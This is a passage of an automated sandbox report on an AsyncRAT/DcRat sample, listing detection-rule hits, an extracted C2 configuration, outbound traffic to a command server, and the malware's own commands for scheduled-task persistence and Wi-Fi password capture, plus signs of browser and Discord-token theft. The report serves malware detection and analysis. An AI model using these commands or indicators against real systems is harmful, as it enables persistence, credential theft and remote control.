Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' , CommandLine: schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' , CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2696, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' , ProcessId: 6108, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" Get-MpPreference -verbose, CommandLine: "powershell" Get-MpPreference -verbose, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\Loaader.exe, ParentImage: C:\Users\user\AppData\Roaming\Loaader.exe, ParentProcessId: 3808, ParentProcessName: Loaader.exe, ProcessCommandLine: "powershell" Get-MpPreference -verbose, ProcessId: 7572, ProcessName: powershell.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\Loaader.exe, ParentImage: C:\Users\user\AppData\Roaming\Loaader.exe, ParentProcessId: 3808, ParentProcessName: Loaader.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 8108, ProcessName: cmd.exe

Snort Signatures

ETPRO TROJAN Observed Malicious SSL Cert (AsyncRAT Variant) - Source IP: 66.235.168.242 - Destination IP: 192.168.2.4

Timestamp:	05/23/24-13:52:57.778331
SID:	2848152
Source Port:	3232
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: t3h7DNer1Q.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Found malware configuration

Source: t3h7DNer1Q.exe

Malware Configuration Extractor: AsyncRAT {"Ports": ["3232"], "Server": ["66.235.168.242"], "Certificate": "MIICKTCCAZKgAwIBAgIVAOwI49vECmkjcVi6vDRu+6lTwBelMA0GCSqGSIb3DQEBDQUAMF0xDjAMBgNVBAMMBUVCT0xBMRMwEQYDVQQLDApxd3FkYW5jaHVuMRwwGgYDVQQKDBNEY1JhdCBCeSBxd3FkYW5jaHVuMQswCQYDVQQHDAJTSDELMAkGA1UEBhMCQ04wHhcNMjMwNjI0MTA1NzMxWhcNMzQwNDAyMTA1NzMwWjAQMQ4wDAYDVQQDDAVEY1JhdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwLjfJLJldOS/ukdvNaxCeCKlqSDodMxbIlUBJFj4ifPzaijU+Qc9+Jdvhi6ZCNs9E/uBCzQd+fJoEornr5T4fZqOQIS2naeK29VzB3/xJlBW3faQNOQXicF/HSbX0ljWeGIbgZr/lpicEtjGgA1RGEt0zY2hVTNIufmV3WTYnLkCAwEAAaMyMDAwHQYDVR0OBBYEFE37VDHHP+vN1IXecEP/zz0inroMMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADgYEAaFlOwVBtr2Q4kDD0D5vcnSs/NiWSEKiRtNBVph0GxdbQXeE7epqNbjAM8aVZRDFw4hMP1gxetRk+Olcgp6/RDLzmei9uIydxJ8dk+KsCu0zWoL9yNWBx2BwVBNa7k3gAvh+CNuHFwb04ZG8kLR93TyFRZDUHUWglVnA3DQwJqrw=", "Server Signature": "iMAOwDJA0vMpVx4GkSywNj1D9PkiTGYL8k2vajxwK0ZTkgcoy6ziEU37PU07UskWTqs4CQy9wpx58wUw1AAp0a59QrAxozzZ/IsZBApD2Cr3P8v6ZVT8lHLZwC7Rvm+MFMotN8SBl4jk9ACD4dSwXvpgx0mYcM4Mkw7WfxAX6J8="}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Loaader.exe

ReversingLabs: Detection: 76%

Multi AV Scanner detection for submitted file

Source: t3h7DNer1Q.exe

ReversingLabs: Detection: 76%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: t3h7DNer1Q.exe

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.4:49750 version: TLS 1.0

Source: t3h7DNer1Q.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Ninja\Downloads\dcrat_fix-master\dcrat_fix-master\MessagePack\bin\Release\MessagePackLib.pdb source: Loaader.exe, 00000007.00000002.2888089416.000000001C6D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura.dotnetzip.pdb.compressed source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.polly.pdb.compressed source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: %costura.messagepacklib.pdb.compressed source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\dotnetzip-semverd\src\Zip\obj\Release\DotNetZip.pdb source: Loaader.exe, 00000007.00000002.2885512181.000000001C520000.00000004.08000000.00040000.00000000.sdmp, Loaader.exe, 00000007.00000002.2869103757.00000000129E2000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2869103757.0000000012B17000.00000004.00000800.00020000.00000000.sdmp

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2848152 ETPRO TROJAN Observed Malicious SSL Cert (AsyncRAT Variant) 66.235.168.242:3232 -> 192.168.2.4:49730

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 66.235.168.242:3232

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 104.21.44.66 104.21.44.66
Source: Joe Sandbox View	IP Address: 104.16.185.241 104.16.185.241

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: TIER-NETUS TIER-NETUS

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown	DNS query: name: icanhazip.com
Source: unknown	DNS query: name: icanhazip.com
Source: unknown	DNS query: name: ip-api.com

Source: unknown

HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.4:49750 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242
Source: unknown	TCP traffic detected without corresponding DNS query: 66.235.168.242

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com

Source: global traffic	DNS traffic detected: DNS query: icanhazip.com
Source: global traffic	DNS traffic detected: DNS query: 231.12.13.0.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: api.mylnikov.org

Source: Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.mylnikov.org
Source: Loaader.exe, 00000007.00000002.2850520768.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: Loaader.exe, 00000007.00000002.2850520768.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabM
Source: Loaader.exe, 00000007.00000002.2853326582.00000000030BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.00000000030BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002B4C000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.0000000002AED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002B4C000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.0000000002AED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 0000000D.00000002.2028062315.0000021FCE372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000D.00000002.1903356370.0000021FBE528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000D.00000002.1903356370.0000021FBE528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: t3h7DNer1Q.exe, 00000000.00000002.1622733927.0000000003222000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1903356370.0000021FBE301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000D.00000002.1903356370.0000021FBE528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000D.00000002.1903356370.0000021FBE528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012B17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.codeplex.com/DotNetZip
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 0000000D.00000002.1903356370.0000021FBE301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikP
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AFA000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AFA000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.p
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000000D.00000002.2028062315.0000021FCE372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.2028062315.0000021FCE372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.2028062315.0000021FCE372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ce3ed400-d1e84918ad678b08d2a369a3-Latest.log.7.dr	String found in binary or memory: https://discord.com/api/webhooks/895657579101958174/9Z8CPsHdivzzExezi2PenJZuA1sRTvhR7zSiHiSBhPgUVEAa
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 0000000D.00000002.1903356370.0000021FBE528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000D.00000002.2028062315.0000021FCE372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: tmp31A0.tmp.dat.7.dr	String found in binary or memory: https://support.mozilla.org
Source: tmp31A0.tmp.dat.7.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: tmp31A0.tmp.dat.7.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: History.txt.7.dr, tmp316F.tmp.dat.7.dr, tmp315E.tmp.dat.7.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: tmp316F.tmp.dat.7.dr, tmp315E.tmp.dat.7.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: History.txt.7.dr, tmp316F.tmp.dat.7.dr, tmp315E.tmp.dat.7.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: tmp316F.tmp.dat.7.dr, tmp315E.tmp.dat.7.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://user-images.githubusercontent.com/45857590/138568746-1a5578fe-f51b-4114-bcf2-e374535f8488.pn
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tmp31A0.tmp.dat.7.dr	String found in binary or memory: https://www.mozilla.org
Source: tmp31A0.tmp.dat.7.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: tmp31A0.tmp.dat.7.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002CC7000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.0000000002CD0000.00000004.00000800.00020000.00000000.sdmp, History.txt0.7.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/)
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D89000.00000004.00000800.00020000.00000000.sdmp, tmp323E.tmp.dat.7.dr, tmp31A0.tmp.dat.7.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: tmp31A0.tmp.dat.7.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Loaader.exe, 00000007.00000002.2869103757.0000000012D89000.00000004.00000800.00020000.00000000.sdmp, tmp323E.tmp.dat.7.dr, tmp31A0.tmp.dat.7.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: t3h7DNer1Q.exe, type: SAMPLE
Source: Yara match	File source: 0.0.t3h7DNer1Q.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.t3h7DNer1Q.exe.322f188.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1593618518.00000000009C2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1622733927.000000000322F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: t3h7DNer1Q.exe PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Loaader.exe, type: DROPPED

Contains functionality to capture screen (.Net source)

Source: 7.2.Loaader.exe.1cf80000.8.raw.unpack, DesktopScreenshot.cs

.Net Code: Make

System Summary

Malicious sample detected (through community Yara rule)

Source: t3h7DNer1Q.exe, type: SAMPLE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: t3h7DNer1Q.exe, type: SAMPLE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0.0.t3h7DNer1Q.exe.9c0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.0.t3h7DNer1Q.exe.9c0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 0.2.t3h7DNer1Q.exe.322f188.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.t3h7DNer1Q.exe.322f188.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 7.2.Loaader.exe.1cf80000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 7.2.Loaader.exe.1cf80000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 7.2.Loaader.exe.1cf80000.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 7.2.Loaader.exe.1cf80000.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 00000007.00000002.2853326582.0000000002A1A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000000.00000002.1621545683.0000000000E04000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000007.00000002.2853326582.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000007.00000002.2853326582.0000000002A6D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000000.00000002.1622733927.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000008.00000002.1664745743.0000000000B28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000007.00000002.2850520768.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000007.00000002.2850520768.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000007.00000002.2877936876.000000001B38B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 00000007.00000002.2853326582.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000008.00000002.1665242472.0000000002811000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: t3h7DNer1Q.exe PID: 6212, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: Loaader.exe PID: 5172, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: C:\Users\user\AppData\Roaming\Loaader.exe, type: DROPPED	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\Loaader.exe, type: DROPPED	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen

